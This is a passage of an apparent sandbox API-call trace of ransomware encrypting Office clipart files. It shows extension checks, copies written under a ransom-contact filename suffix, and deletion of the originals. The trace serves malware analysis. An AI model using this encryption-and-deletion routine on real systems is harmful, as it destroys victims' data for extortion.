	[0082.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0082.843] lstrlenW (lpString=".zip") returned 4
	[0082.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.843] lstrlenW (lpString=".rar") returned 4
	[0082.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.843] lstrlenW (lpString=".bz2") returned 4
	[0082.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.843] lstrlenW (lpString=".7z") returned 3
	[0082.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0082.843] lstrlenW (lpString=".dbf") returned 4
	[0082.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0082.843] lstrlenW (lpString=".1cd") returned 4
	[0082.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0082.843] lstrlenW (lpString=".jpg") returned 4
	[0082.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.844] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.844] lstrlenW (lpString="AN04174_.WMF") returned 12
	[0082.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0082.844] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2636) returned 1
	[0082.844] CloseHandle (hObject=0x2bc) returned 1
	[0082.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220
	[0082.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0082.844] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.844] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.845] GetLastError () returned 0x0
	[0082.845] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xa4c, lpOverlapped=0x0) returned 1
	[0082.855] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xa50, lpOverlapped=0x0) returned 1
	[0082.861] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.861] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.861] SetEndOfFile (hFile=0x35c) returned 1
	[0082.862] CloseHandle (hObject=0x35c) returned 1
	[0082.865] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.865] SetEndOfFile (hFile=0x2bc) returned 1
	[0082.865] CloseHandle (hObject=0x2bc) returned 1
	[0082.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1
	[0082.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0082.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0082.866] lstrlenW (lpString=".doc") returned 4
	[0082.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.866] lstrlenW (lpString=".docx") returned 5
	[0082.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.866] lstrlenW (lpString=".pdf") returned 4
	[0082.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.866] lstrlenW (lpString=".xls") returned 4
	[0082.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.866] lstrlenW (lpString=".xlsx") returned 5
	[0082.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.866] lstrlenW (lpString=".ppt") returned 4
	[0082.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0082.866] lstrlenW (lpString=".zip") returned 4
	[0082.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.867] lstrlenW (lpString=".rar") returned 4
	[0082.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.867] lstrlenW (lpString=".bz2") returned 4
	[0082.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.867] lstrlenW (lpString=".7z") returned 3
	[0082.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0082.867] lstrlenW (lpString=".dbf") returned 4
	[0082.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0082.867] lstrlenW (lpString=".1cd") returned 4
	[0082.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0082.867] lstrlenW (lpString=".jpg") returned 4
	[0082.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0082.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0082.867] lstrlenW (lpString=".doc") returned 4
	[0082.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.867] lstrlenW (lpString=".docx") returned 5
	[0082.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.867] lstrlenW (lpString=".pdf") returned 4
	[0082.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.867] lstrlenW (lpString=".xls") returned 4
	[0082.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.867] lstrlenW (lpString=".xlsx") returned 5
	[0082.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.867] lstrlenW (lpString=".ppt") returned 4
	[0082.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0082.867] lstrlenW (lpString=".zip") returned 4
	[0082.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.867] lstrlenW (lpString=".rar") returned 4
	[0082.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.867] lstrlenW (lpString=".bz2") returned 4
	[0082.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.868] lstrlenW (lpString=".7z") returned 3
	[0082.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0082.868] lstrlenW (lpString=".dbf") returned 4
	[0082.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0082.868] lstrlenW (lpString=".1cd") returned 4
	[0082.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0082.868] lstrlenW (lpString=".jpg") returned 4
	[0082.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.868] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.868] lstrlenW (lpString="AN04191_.WMF") returned 12
	[0082.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0082.868] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=6636) returned 1
	[0082.868] CloseHandle (hObject=0x2bc) returned 1
	[0082.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220
	[0082.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0082.869] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.869] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.869] GetLastError () returned 0x0
	[0082.869] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x19ec, lpOverlapped=0x0) returned 1
	[0082.871] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x19f0, lpOverlapped=0x0) returned 1
	[0082.873] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.873] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.873] SetEndOfFile (hFile=0x35c) returned 1
	[0082.873] CloseHandle (hObject=0x35c) returned 1
	[0082.875] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.875] SetEndOfFile (hFile=0x2bc) returned 1
	[0082.876] CloseHandle (hObject=0x2bc) returned 1
	[0082.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1
	[0082.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0082.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0082.876] lstrlenW (lpString=".doc") returned 4
	[0082.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.876] lstrlenW (lpString=".docx") returned 5
	[0082.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.876] lstrlenW (lpString=".pdf") returned 4
	[0082.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.876] lstrlenW (lpString=".xls") returned 4
	[0082.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.877] lstrlenW (lpString=".xlsx") returned 5
	[0082.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.877] lstrlenW (lpString=".ppt") returned 4
	[0082.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0082.877] lstrlenW (lpString=".zip") returned 4
	[0082.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.877] lstrlenW (lpString=".rar") returned 4
	[0082.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.877] lstrlenW (lpString=".bz2") returned 4
	[0082.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.877] lstrlenW (lpString=".7z") returned 3
	[0082.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0082.877] lstrlenW (lpString=".dbf") returned 4
	[0082.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0082.877] lstrlenW (lpString=".1cd") returned 4
	[0082.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0082.877] lstrlenW (lpString=".jpg") returned 4
	[0082.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0082.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0082.877] lstrlenW (lpString=".doc") returned 4
	[0082.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.877] lstrlenW (lpString=".docx") returned 5
	[0082.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.877] lstrlenW (lpString=".pdf") returned 4
	[0082.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.877] lstrlenW (lpString=".xls") returned 4
	[0082.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.877] lstrlenW (lpString=".xlsx") returned 5
	[0082.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.878] lstrlenW (lpString=".ppt") returned 4
	[0082.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0082.878] lstrlenW (lpString=".zip") returned 4
	[0082.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.878] lstrlenW (lpString=".rar") returned 4
	[0082.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.878] lstrlenW (lpString=".bz2") returned 4
	[0082.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.878] lstrlenW (lpString=".7z") returned 3
	[0082.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0082.878] lstrlenW (lpString=".dbf") returned 4
	[0082.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0082.878] lstrlenW (lpString=".1cd") returned 4
	[0082.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0082.878] lstrlenW (lpString=".jpg") returned 4
	[0082.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.878] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.878] lstrlenW (lpString="AN04195_.WMF") returned 12
	[0082.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0082.879] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4612) returned 1
	[0082.879] CloseHandle (hObject=0x2bc) returned 1
	[0082.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220
	[0082.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0082.879] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.879] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.879] GetLastError () returned 0x0
	[0082.879] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1204, lpOverlapped=0x0) returned 1
	[0083.177] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1210, lpOverlapped=0x0) returned 1
	[0083.178] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.178] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.178] SetEndOfFile (hFile=0x35c) returned 1
	[0083.990] CloseHandle (hObject=0x35c) returned 1
	[0083.991] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.991] SetEndOfFile (hFile=0x2bc) returned 1
	[0084.039] CloseHandle (hObject=0x2bc) returned 1
	[0084.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1
	[0084.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0084.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0084.039] lstrlenW (lpString=".doc") returned 4
	[0084.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.040] lstrlenW (lpString=".docx") returned 5
	[0084.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.040] lstrlenW (lpString=".pdf") returned 4
	[0084.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.040] lstrlenW (lpString=".xls") returned 4
	[0084.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.040] lstrlenW (lpString=".xlsx") returned 5
	[0084.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.040] lstrlenW (lpString=".ppt") returned 4
	[0084.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0084.040] lstrlenW (lpString=".zip") returned 4
	[0084.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.040] lstrlenW (lpString=".rar") returned 4
	[0084.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.040] lstrlenW (lpString=".bz2") returned 4
	[0084.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.040] lstrlenW (lpString=".7z") returned 3
	[0084.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0084.040] lstrlenW (lpString=".dbf") returned 4
	[0084.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0084.040] lstrlenW (lpString=".1cd") returned 4
	[0084.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0084.040] lstrlenW (lpString=".jpg") returned 4
	[0084.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0084.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0084.041] lstrlenW (lpString=".doc") returned 4
	[0084.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.041] lstrlenW (lpString=".docx") returned 5
	[0084.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.041] lstrlenW (lpString=".pdf") returned 4
	[0084.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.041] lstrlenW (lpString=".xls") returned 4
	[0084.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.041] lstrlenW (lpString=".xlsx") returned 5
